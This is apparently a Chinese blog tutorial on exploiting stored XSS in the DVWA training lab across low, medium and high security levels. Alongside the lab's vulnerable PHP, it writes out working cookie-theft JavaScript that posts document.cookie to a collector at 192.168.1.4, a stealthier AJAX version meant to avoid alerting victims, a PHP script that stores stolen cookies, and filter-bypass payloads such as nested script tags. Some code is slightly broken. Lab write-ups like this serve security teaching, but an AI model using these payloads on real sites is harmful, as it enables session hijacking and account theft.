今天我学习XSS攻击的第三种类型,Stored XSS,也就是存储型XSS。
存储型XSS的不同之处在于它可以将用户有害输入信息存储在后台数据库中,不需要攻击者构造URL链接诱使受害人单击而触发攻击,目标网站的其它用户只要访问插入恶意代码的网站相关页面即可触发代码执行。相比较反射型XSS更隐蔽性,受害者范围更广,在这我们将学习一些更为隐蔽的隐式的方式来获取用户cookie。
首先设置为Low级别
1、low级别
查看源代码如下:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
通过post形式,只是把输入字符串进行空格截断。没有任何其它过滤处理,将用户提交的内容插入数据库,两个输入框都存在输入点,后面的四种难度级别都对Message域的输入内容进行了htmlspecialchars转义,为了和后面的一致,payload插入Name字段测试XSS。为了能够加载payload,需要用firebug等可以修改前端代码的工具将Name输入框的maxlength改为较大范围,例如600。原来字段长度时10,无法输入payload。
如上图中,抓取的前端代码中,修改name的属性,把10修改为600。由于是前端限制的输入长度,所以可使用fiddler或Burp Suite等工具进行抓取报文后,再输入那么字段的值提交,就不受长度的前端限制了。
输入下面的payload,先验证一下是否存在漏洞。
提交后,如果出现下面如图信息,证明代码已经被写入到数据库表中,打开表guestbook查看。
由于DVWA在"上安装后可能存在bug,导致设置为”low”后,选择”XSS (Stored)”后,Security Level还是恢复到”impossible”状态,导致安全漏洞无法展示出来。正常该漏洞演示应该是其它用户访问到这个页面后,能够弹出alert窗口,说明存储在数据库表中的数据在读取显示到页面时,显示信息。既然能够弹出alert窗口,也就能执行其它函数。据说Linux下正常,由于时间关系,稍后我们再安装Linux版本复现吧。后面可以编写payload获取该网站下的用户cookie,构造payload。方法与前面XSS(Reflected)相同。
例如在本机建立一个PHP执行环境,可以使用PHPStudy或其它PHP环境构建一个PHP服务器。
getcookie.js代码如下:
document.write("<form action='http://192.168.1.4/getcookie.php' name='getcookie' method='post' tyle='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();
这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的getcookie.php,但是这种方式有个缺点就是将cookie发送到getcookie.php后,会刷新页面跳转到getcookie.php。把文件放在PHPStudy的www目录中。构造一个PHP文件获得cookie,并把获得的cookie存储本机数据库表中。文件名称为getcookie.php,代码如下:
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysqli_connect("192.168.92.129","root","123456");
mysqli_select_db($conn,"dvwacookie");
if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysqli_query($conn,$sql);
echo "1</br>";
mysqli_close($conn);
}
else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
if (mysqli_query($conn,$sql)) {
echo "scuess!get cookie";
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
echo "low</br>".$_POST['data']."</br>";
mysqli_close($conn);
}
else {
$sql="select * from low";
$result=mysqli_query($conn,$sql);
while($row=mysqli_fetch_array($result))
{
echo "Getcookie is:".$row[1]."</br>";
}
mysqli_close($conn);
}
?>
确保启动apache等服务器后,在DWVA中输入
<script src=http://192.168.1.4/getcookie.js></script>,如下:
如果没有问题,则能获得cookie。
首先设置为medium级别
2、medium级别
查看源代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
上面代码中,对输入进行处理的地方有
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
对mtxMessage进行了htmlspecialchars转义,但是没有转义txtName,只是把输入中的<script>替换为了’’,与上面一节中处理反射型xss一样,把<script>转化为大写<SCRIPT>或者通过<scr<script>ipt>绕过即可。
在DWVA中输入<SCRIPT src=http://192.168.1.4/getcookie.js></script>
在low级别获得cookie时,会将页面跳转到getcookie,有警觉的用户会怀疑,我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的javascript,在不刷新页面的前提下将用户的cookie发送到getcookie.php。调整getcookie.js文件如下代码
var url = "http://192.168.1.4/getcookie.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
ajax=null;
}
上面代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.1.4/getcookie.php,也就是当前目录下getcookie.php。
现在在DWVA中输入<scr<script>ipt src=http://192.168.1.4/getcookie1.js></script>
页面不再像low级别执行payload一样弹出跳转页面,而是清空输入字段,如下:
查看数据库表,可以看到获取了网站cookie.
3、high级别
设置为high后,代码如下:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析上面的代码,发现攻击点还是在Name输入字段,和反射型XSS高级别的过滤方式一样,也是过滤掉输入字符串中的script。还是使用img标签绕过,编写有效paylaod验证xss存在,使用开发者工具修改name 字段长度,由10调整为100
输入
可以看到能够执行,证明还是存在XSS攻击。后面还是按照与XSS reflected方法一样,获取网站的cookie。不太了解的朋友,请参考上一节。
(完)
------------------------------------------------------------------------------------------------------------------------------------------------------------------
关注安全 关注作者